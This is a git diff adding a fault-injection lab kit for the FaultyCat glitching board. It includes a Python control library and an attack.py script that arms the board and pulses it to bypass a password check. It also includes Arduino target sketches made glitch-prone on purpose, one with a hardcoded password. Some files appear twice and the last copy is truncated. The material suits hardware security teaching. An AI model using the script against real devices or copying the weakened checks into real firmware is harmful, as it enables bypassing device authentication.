b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc new file mode 100644 index 0000000..34c38f2 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/UART.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc new file mode 100644 index 0000000..a34e25d --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/Worker.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000..127e108 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/__init__.cpython-37.pyc Binary files differ diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + 